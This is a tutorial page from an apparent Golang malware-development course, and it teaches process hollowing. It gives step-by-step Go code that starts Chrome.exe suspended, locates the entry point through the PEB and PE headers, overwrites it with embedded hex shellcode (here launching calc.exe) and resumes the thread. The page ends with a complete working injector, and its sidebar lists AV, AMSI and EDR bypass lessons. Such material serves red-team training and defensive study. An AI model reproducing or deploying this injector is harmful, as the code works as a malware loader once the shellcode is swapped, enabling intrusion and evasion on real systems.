Malware Development
  • Golang Malware Development
  • Malware Development In Golang - Introduction
    • Golang Programming Intro
      • 1. Preparing the Go Environment
      • 2. Hello World
      • 3. Calling MessageBox winAPI from GO
      • 4. Shellcode Runner
  • Code Injection Techniques
    • Shellcode Injection
      • 1. Classic Shellcode Injection
      • 2. Process Hollowing
      • 3. QueueUserAPC
    • DLL Injection
      • 1. Dll Injection
      • 2. Reflective DLL Injection
  • Payloads
    • Payloads
      • 1. Basic DLL using Golang
      • 2. Malicious DLL using Golang
      • 3. Malicious XLL using Golang
    • Shellcode development
      • 1. Keystone Engine
      • 2. Windows x64 Shellcode Development intro
      • 3. Transforming DLLs into Shellcode
  • Evasion
    • AV Bypass
      • 1. Introduction
      • 2. Remove the shellcode from the payload
      • 3. Delay Execution
        • 1. time.Sleep() 1/2
        • 2. time.Sleep() 2/2
        • 3. Custom Sleep function
      • 4. XOR Encryption
      • 5. AMSI Bypass
    • EDR Bypass
      • 1. Setting up a testing environment
      • 2. Userland Hooks
        • 1. What are userland hooks?
        • 2. Load a fresh copy of the dll from disk
        • 3. Programmatically detect ntdll hooks
        • 4. Direct and Indirect Syscalls (shellcode runner)
      • 3. VPN abuse for Endpoint Protection Evasion
        • 1. Global Protect Abuse 1/2
        • 2. Global Protect Abuse 2/2
Powered by GitBook
On this page
  • Create suspended process
  • Identify Image Base address
  • Identify the Entry Point
  • Overwrite code with our shellcode
  • Resume Execution
  • Complete Code

Was this helpful?

  1. Code Injection Techniques
  2. Shellcode Injection

2. Process Hollowing

#processhollowing#golang #maldev #malwaredevelopment

Last updated 1 year ago

Was this helpful?

is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code.

The Windows APIs required to perform this technique are the following:

Create suspended process

Starting a process can be achieved by calling the CreateProcess API.

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

The most important parameter is the dwCreationFlags should be set to CREATE_SUSPENDED (0x04)

	var startupInfo windows.StartupInfo
	var outProcInfo windows.ProcessInformation

	path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe"

	err := windows.CreateProcess(nil, 
		windows.StringToUTF16Ptr(path),
		 nil,
		 nil, 
		 false, 
		 windows.CREATE_SUSPENDED, 
		 nil, 
		 nil, 
		 &startupInfo, 
		 &outProcInfo)
		 
	if err != nil {
		log.Fatalf("[FATAL] Failed to Create Process: %v", err)
	}

	fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId)
	fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread)

Identify Image Base address

To get the base address of the image we need to perform the following:

  • Call NtQueryInformationProcess -> This will return the ProcessInfromation Struct. This struct includes the PEB Address

  • The base address is stored at offset PEB address + 0x10

  • We then read the contents of the address at memory PEB+0x10 using ReadProcessMemory.

Let's break that down

Calling NTQueryInfromationProcess

__kernel_entry NTSTATUS NtQueryInformationProcess(
  [in]            HANDLE           ProcessHandle,
  [in]            PROCESSINFOCLASS ProcessInformationClass,
  [out]           PVOID            ProcessInformation,
  [in]            ULONG            ProcessInformationLength,
  [out, optional] PULONG           ReturnLength
);
  • ProcessHandle: This can be obtained from the ProcessInformation returned from the CreateProcess API

  • ProcessInformationClass: We will set that to ProcessBasicInformation (0x00)

  • ProcessInfromation: A pointer to the PROCESS_BASIC_INFORMATION structure

  • ProcessInformationLength: Length of the sturcture

  • ReturnLength: A pointer to a variable in which the function returns the size of the requested information

The windows package definition of PROCESS_BASIC_STRUCTURE didn't work well in this case so we go ahead and define our own struct.

type PROCESS_BASIC_INFORMATION struct {
	Reserved1    uintptr
	PebAddress   uintptr
	Reserved2    uintptr
	Reserved3    uintptr
	UniquePid    uintptr
	MoreReserved uintptr
}
	var ProcessInformation PROCESS_BASIC_INFORMATION
	ProcessInformationLength := uint32(unsafe.Sizeof(uintptr(0)))
	var ReturnLength uint32

	err = windows.NtQueryInformationProcess(outProcInfo.Process, 0, unsafe.Pointer(&ProcessInformation), ProcessInformationLength*6, &ReturnLength)
	if err != nil {
		log.Fatalf("[FATAL] Failed to Query Information Process: %v", err)
	}

	imageBaseAddress := uint64(ProcessInformation.PebAddress + 0x10)
	fmt.Printf("[+] Image base address: 0x%x\n", imageBaseAddress)

We now have the address containing the image base address. Since we cannot read it directly we need to use ReadProcessMemory winapi. This API allows us to read the memory of a remote process.

BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);
  • hProcess: This can be obtained from the ProcessInformation returned from the CreateProcess API

  • lpBaseAddress: Target address, we will use the imageBaseAddress from the previous step.

  • lpBuffer: We will define a byte slice for the to store the bytes of the remote memory

  • nSize: Here we will read 8-bytes in the case of a 64-bit process. size(uintptr)

  • lpNumberOfBytesRead: Returns the size of bytes read in a variable

	lpBuffer := make([]byte, unsafe.Sizeof(uintptr(0)))
	var lpNumberOfBytesRead uintptr

	err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(imageBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead)
	if err != nil {
		log.Fatalf("[FATAL] Failed to ReadProcessMemory -- imageBaseAddress: %v", err)
	}
	fmt.Printf("[+] Number of bytes read: %d\n", lpNumberOfBytesRead)

	lpBaseAddress := binary.LittleEndian.Uint64(lpBuffer)
	fmt.Printf("[+] Image base: 0x%x\n", lpBaseAddress)

A quick look in process hacker shows that the base address of the target Process is indeed the one returned by our code.

Identify the Entry Point

  • From the offset found at 0x3c we then calculate the size of the different components of PE.

    • Offset of AddressOfEntryPoint from the PE-Header address = 4 + 20 + 16 = 40 decimal (0x28)

Let's break that down with some code:

Find PE Signature Address

Let's read the contents of the headers from memory using ReadProcessMemory.

	lpBuffer = make([]byte, 0x200)

	err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(lpBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead)
	if err != nil {
		log.Fatalf("[FATAL] Failed to ReadProcessMemory -- lpBaseAddress: %v", err)
	}
	lfaNewPos := lpBuffer[0x3c : 0x3c+0x4]
	lfanew := binary.LittleEndian.Uint32(lfaNewPos)

	fmt.Printf("[+] PE Signature Offset: 0x%x\n", lfanew)

Having a look at PE-Bear we can confirm that the PE Signature Offset is 0x78 is correct.

We now add the 0x28 offset to 0x78 to get the entry point of the executable

	entrypointOffset := lfanew + 0x28
	entrypointOffsetPos := lpBuffer[entrypointOffset : entrypointOffset+0x4]
	entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
	fmt.Printf("[+] Entry Point Offset: 0x%x\n", entrypointRVA)
	entrypointAddress := lpBaseAddress + uint64(entrypointRVA)
	fmt.Printf("[+] Entry Point Address Identified 0x%x\n", entrypointAddress)

Once again we confirm with PE-Bear

Overwrite code with our shellcode

Similar to process injection we now use WriteProcessMemory winapi to write our shellcode to the target region. The benefit is that we don't have to create a new thread but we just overwrite the contents in memory and resume the suspended thread.

WriteProcessMemory winapi will be used to write shellcode to the remote memory

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
  • hProcess: This can be obtained from the ProcessInformation returned from the CreateProcess API

  • lpBaseAddress: entrypointAddress identified in the previous step

  • lpBuffer: A pointer to the beginning of our shellcode byte array

  • nSize: Size of our shellcode

  • lpNumberOfBytesWritten: Ouputs the number of bytes written to the destination address

	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(outProcInfo.Process, 
					uintptr(entrypointAddress), 
					&sc[0], 
					uintptr(len(sc)), 
					&numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err)
	}

	fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc))

Resume Execution

To resume execution we only have to resume the suspended thread. The ResumeThread API will be used to achive that.

DWORD ResumeThread(
  [in] HANDLE hThread
);

We simply pass the handle returned by the CreateProcess API.

	_, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread))
	if err != nil {
		log.Fatalf("[FATAL] Can't resume thread. %v\n", err)
	}

Complete Code

package main

import (
	"encoding/binary"
	"encoding/hex"
	"fmt"
	"log"
	"unsafe"

	"golang.org/x/sys/windows"
)

type PROCESS_BASIC_INFORMATION struct {
	Reserved1    uintptr
	PebAddress   uintptr
	Reserved2    uintptr
	Reserved3    uintptr
	UniquePid    uintptr
	MoreReserved uintptr
}

func main() {
	sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")

	var startupInfo windows.StartupInfo
	var outProcInfo windows.ProcessInformation

	path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe"

	err := windows.CreateProcess(nil,
		windows.StringToUTF16Ptr(path),
		nil,
		nil,
		false,
		windows.CREATE_SUSPENDED,
		nil,
		nil,
		&startupInfo,
		&outProcInfo)

	if err != nil {
		log.Fatalf("[FATAL] Failed to Create Process: %v", err)
	}

	fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId)
	fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread)

	var ProcessInformation PROCESS_BASIC_INFORMATION
	ProcessInformationLength := uint32(unsafe.Sizeof(uintptr(0)))
	var ReturnLength uint32

	err = windows.NtQueryInformationProcess(outProcInfo.Process, 0, unsafe.Pointer(&ProcessInformation), ProcessInformationLength*6, &ReturnLength)
	if err != nil {
		log.Fatalf("[FATAL] Failed to Query Information Process: %v", err)
	}

	imageBaseAddress := uint64(ProcessInformation.PebAddress + 0x10)
	fmt.Printf("[+] Address Holding image base address: 0x%x\n", imageBaseAddress)

	lpBuffer := make([]byte, unsafe.Sizeof(uintptr(0)))
	var lpNumberOfBytesRead uintptr

	err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(imageBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead)
	if err != nil {
		log.Fatalf("[FATAL] Failed to ReadProcessMemory -- imageBaseAddress: %v", err)
	}
	fmt.Printf("[+] Number of bytes read: %d\n", lpNumberOfBytesRead)

	lpBaseAddress := binary.LittleEndian.Uint64(lpBuffer)
	fmt.Printf("[+] Image base: 0x%x\n", lpBaseAddress)

	lpBuffer = make([]byte, 0x200)

	err = windows.ReadProcessMemory(outProcInfo.Process, uintptr(lpBaseAddress), &lpBuffer[0], uintptr(len(lpBuffer)), &lpNumberOfBytesRead)
	if err != nil {
		log.Fatalf("[FATAL] Failed to ReadProcessMemory -- lpBaseAddress: %v", err)
	}
	lfaNewPos := lpBuffer[0x3c : 0x3c+0x4]
	lfanew := binary.LittleEndian.Uint32(lfaNewPos)

	fmt.Printf("[+] PE Signature Offset: 0x%x\n", lfanew)

	entrypointOffset := lfanew + 0x28
	entrypointOffsetPos := lpBuffer[entrypointOffset : entrypointOffset+0x4]
	entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
	fmt.Printf("[+] Entry Point Offset: 0x%x\n", entrypointRVA)
	entrypointAddress := lpBaseAddress + uint64(entrypointRVA)
	fmt.Printf("[+] Entry Point Address Identified 0x%x\n", entrypointAddress)

	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(outProcInfo.Process, uintptr(entrypointAddress), &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err)
	}

	fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc))

	_, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread))
	if err != nil {
		log.Fatalf("[FATAL] Can't resume thread. %v\n", err)
	}
	fmt.Println("[+] Resuming Suspended Thread")

}

: At location 0x3c, the stub has the file offset to the PE signature.

: 4-bytes (PE00)

: (2+2+4+4+4+2+2) 20-bytes

: Offsett to entry point 16-bytes

Process Hollowing
CreateProcess
NtQueryInformationProcess
ReadProcessMemory
WriteProcessMemory
ResumeThread
MS-DOS Stub
Signature (Image Only)
COFF File Header (Object and Image)
Optional Header Standard Fields (Image Only)
Process Created
Suspended Chrome.exe process
Image base address matching the output of the script in ProcessHacker
PE Signature Offset 0x78
Entry Point Correctly Identified
Calculator Executed